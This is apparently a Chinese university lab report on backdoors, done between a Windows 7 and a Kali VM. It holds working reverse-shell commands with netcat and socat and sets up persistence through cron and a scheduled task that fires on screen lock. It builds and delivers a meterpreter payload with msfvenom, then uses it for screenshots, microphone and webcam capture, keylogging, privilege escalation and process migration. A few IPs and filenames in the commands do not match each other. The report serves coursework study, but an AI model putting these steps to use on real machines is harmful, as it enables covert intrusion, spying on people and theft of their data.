2018-2019-2 20165216 《网络对抗技术》 Exp2 后门原理与实践
实验要求
1:使用netcat获取主机操作Shell,cron启动(0.5分)
2:使用socat获取主机操作Shell,任务计划启动(0.5分)
3:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
4:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
5:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告
实验环境
- Windows 7 x64(关闭防火墙)
- Linux kali 64
- 相互ping通
- Win7 ip:192.168.242.132
- kali ip:192.168.242.130
实验准备
- netcat
- socat
- meterpreter
netcat以及socat需要下载解压,netcat在linux为ncat
实验步骤
1.使用netcat获取主机操作Shell,cron启动
1.1 win7扮演攻击者,linux为被攻击者。cron启动
-
win7攻击者启动监听,并设置端口号,我们这设置为9999.具体命令为 [ ncat.exe -l -p 9999 ]
-
kali中输入命令[nc 192.168.242.130 9999 -e /bin/sh]
-
WIN7获取linux shell
1.2 小结
此种获取shell是一种反弹连接,攻击者(win7)开放端口监听,受害者连接端口。并执行 /bin/sh
注释:
- nc-e 在连接后指定要执行的文件名(小心使用)。有关增强功能,请参阅-c选项。
- sh或是执行脚本,或是切换到sh这个bash里,默认的shell是bash,linux中sh是链接到bash上的,所以sh与bash在功能上是没有区别的。
1.3 linux扮演攻击者,Win7扮演受害者
-
linux进行端口监听,输入命令 nc -l -p 9999,端口号同样为9999
-
受害者Win7进行反弹连接,在解压目录 ncat下输入 [ncat.exe -e cmd.exe 192.242.132 9999]
-
linux获取Win7的cmd命令窗口
1.4 小结
- 同样是建立端口监听,Win7是ncat,linux是nc,实际是一个意思,在linux中可用 man nc 进行查看。
- 反弹命令在解压目录下进行
1.5 Cron定时命令配置,Win7为攻击者,linux为受害者
-
Win7为攻击者设置端口监听
-
切换至linux kali终端
-
用 crontab -e 指令增加定时任务
-
在最后一行添加命令 12 * * * * /bin/netcat 192.168.242.132 -e /bini/sh
-
可用 crontab -l 查看
1.6小结
-
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-
可以" man cron "。这里的cron启动时去让linux受害者去定时反弹连接win7。
-
格式# m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
-
第一个12位分钟,后4个*分别对应h dom mon dow
2.使用socat获取主机操作Shell.任务计划启动
2.1前言
在 1.5 之中,我们使用了linux中的定时器执行反弹执行,在此环节中,我们将使用Win7系统里的任务启动计划,定时反弹!此时我们使用socat进行操作,实验开始之前请提前下载解压好socat.
socat详细用法可使用 man socat 命令查看
2.2 Win7定时配置大法好!
-
打开Win7控制面板
-
点击系统与安全中的计划任务
-
选择创建任务,在常规名称内填入标识,方便认知(虽然此Win7干净的很,没有别的任务,尊重流程就好了)
-
触发器的开始任务选择工作站锁定时
-
进入操作选项卡中,程序路径选择socat解压目录
-
参数栏选择填入[tcp-listen:5216 exec:cmd.exe,pty,stderr],保存!
-
点击任务计划程序库,找到所创建的任务
-
运行任务,切换至kali!
-
终端输入命令 socat - tcp:192.168.242.130:5216命令
-
成功获得cmd shell!
2.3 小结
- 工作站锁定时可以理解为锁屏,好偷偷的进行,在锁屏时触发。
tcp-listen:5216 exec:cmd.exe,pty,stderr
- 以tcp传输方式的监听
- 端口号5216
- 绑定目标类型exe的cmd至端口5216
- 将cmd.exe的stderr重定向到stdout上
3.后门生成程序的故事(转载)
3.1后门是什么?
后门就是不经过正常认证流程而访问系统的通道。
3.2 哪里有后门?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专门后门程序
3.3例子
编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
固件:更多思科路由器发现后门:中国有4台
应用:研究人员发现macOS版Skype内置了后门
应用:从广升“后门”事件看企业道德底线
应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?
3.4后门生成程序是什么?
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
3.5典型平台有哪些?
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
4.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4.1后门程序的生成
-
进入kali终端
-
输入命令 [msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.130 LPORT=5216 -f exe > 20165216_backdoor.exe]生成一个后门程序
-
切换至WIn7命令行
-
输入命令 [ncat -l 5216 > 20165216backdoor.exe]
监听并接受数据写入20165216backdoor.exe文件
-
切换至kali
-
终端输入命令[ncat -nv 192.168.235.138 5212 < 20165212_backdoor.exe]将后门程序进行传输
-
kali端显示 UNKOWN,不用管
-
关闭两台虚拟机设备的终端
-
可进入Win7文件夹中查看是否传输完成
-
确定传输完成后切换至kali终端
-
现在我们要操作起来了
-
输入命令 [msfconsole]
-
再依次输入命令
-
use exploit/multi/handler
-
set payload windows/meterpreter/reverse_tcp
-
set LHOST 192.168.242.130 //注意此处应为Linux的IP!
-
set LPORT 5216 //后门程序里的端口号
-
show options
-
exploit
-
切换至Win7运行刚刚传输过去的后门程序
-
返回kali
-
恭喜我们的kali同志成功窃取Win7的cmd.exe!
4.2小结
- 关于简单生成后门程序命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212_backdoor.exe
- -p :使用的payload。payload翻译为有效载荷,就是被运输有东西。
- 这里windows/meterpreter/reverse_tcp就是一段shellcode
- LHOST 攻击者主机
- LPORT 监听端口
- -f 生成文件的类型,在这里我们是.exe
-
输出定向
5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5.1 夺取cmd.exe控制权
假如上面做到的没有关闭就不用再来一遍,关闭了得重新来一遍
ps:假如不想用命令传后门程序,直接拖过去复制也行。
5.2 获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5.21 获取截屏
-
在4的结果基础上输入命令:[screenshot]
-
查看相关截图
5.22 获取音频
-
命令 :[record_mic]
-
查看结果
获取摄像头和录像
-
webcam_snap/webcam_stream
-
查看结果
ps:若出现错误1411,在Win7中装驱动,具体在右下角那个照相机图标的,点击连接
5.22 获取进程
-
命令 ps
-
查看结果
5.23 获取用户名以及相关权限
-
命令getuid
-
查看结果
5.24 获取目标系统的系统,机器名、操作系统等
-
命令 sysinfo
-
查看结果
5.25移植伪装
- 使用命令 migrate [],复制msf会话至其他进程
5.25 进行交互
-
使用命令 execute -H -i -f cmd.exe
-
查看结果
5.26 权限提升
- 使用命令 getsystem
- 使用getuid查看权限
5.27 击键记录
-
使用命令run post/windows/capture/keylog_recorder
-
ctrl + c 结束记录
-
查看结果
5.3 小结
- migrate移植功能是很有必要的,可以将其绑定与一个系统进行中,(这里我们选择的是exploer.exe),可以防止程序被关闭而导致后门结束(如IE浏览器)
- 具体命令可以在进入4的结果之后,输入help查看更多命令
基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
绑定下载,不可信软件下载源
例举你知道的后门如何启动起来(win及linux)的方式?
- 修改注册表,修改名称为系统进程相识ID
- 绑定,装了什么软件自动绑定在上面的,比如很多单机游戏,游戏启动了,他也就在运行了
Meterpreter有哪些给你映像深刻的功能?
帮别人关机挺有意思的,还有从他那下/传软件
如何发现自己有系统有没有被安装后门?
- 杀毒软件查杀
- 流量监控,多查看锁屏状态下/深夜的流量情况(有难度)
实验总结与体会
本次实验让我简单了解到了什么是后门。get了一个后门生成程序。虽然在实际操作中偶有混淆IP地址,但问题不大,在前人大佬们的肩膀之上没有遇到不可预期的错误(关闭了防火墙、关闭了杀毒软件)。不论是不明白参数的功能以及如何使用某个功能,man 以及 help 以及百度翻译软件是真的好用!当然,关于更实际的应用,有很多限制,想要应用(没别的意思)还得多加努力学习。
/ * 以上内容多有参考码云,链接:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x21_MAL_后门原理与实践.md
博客园 :https://www.cnblogs.com/FenixRen/p/10562400.html
非常感谢其提供的参考*/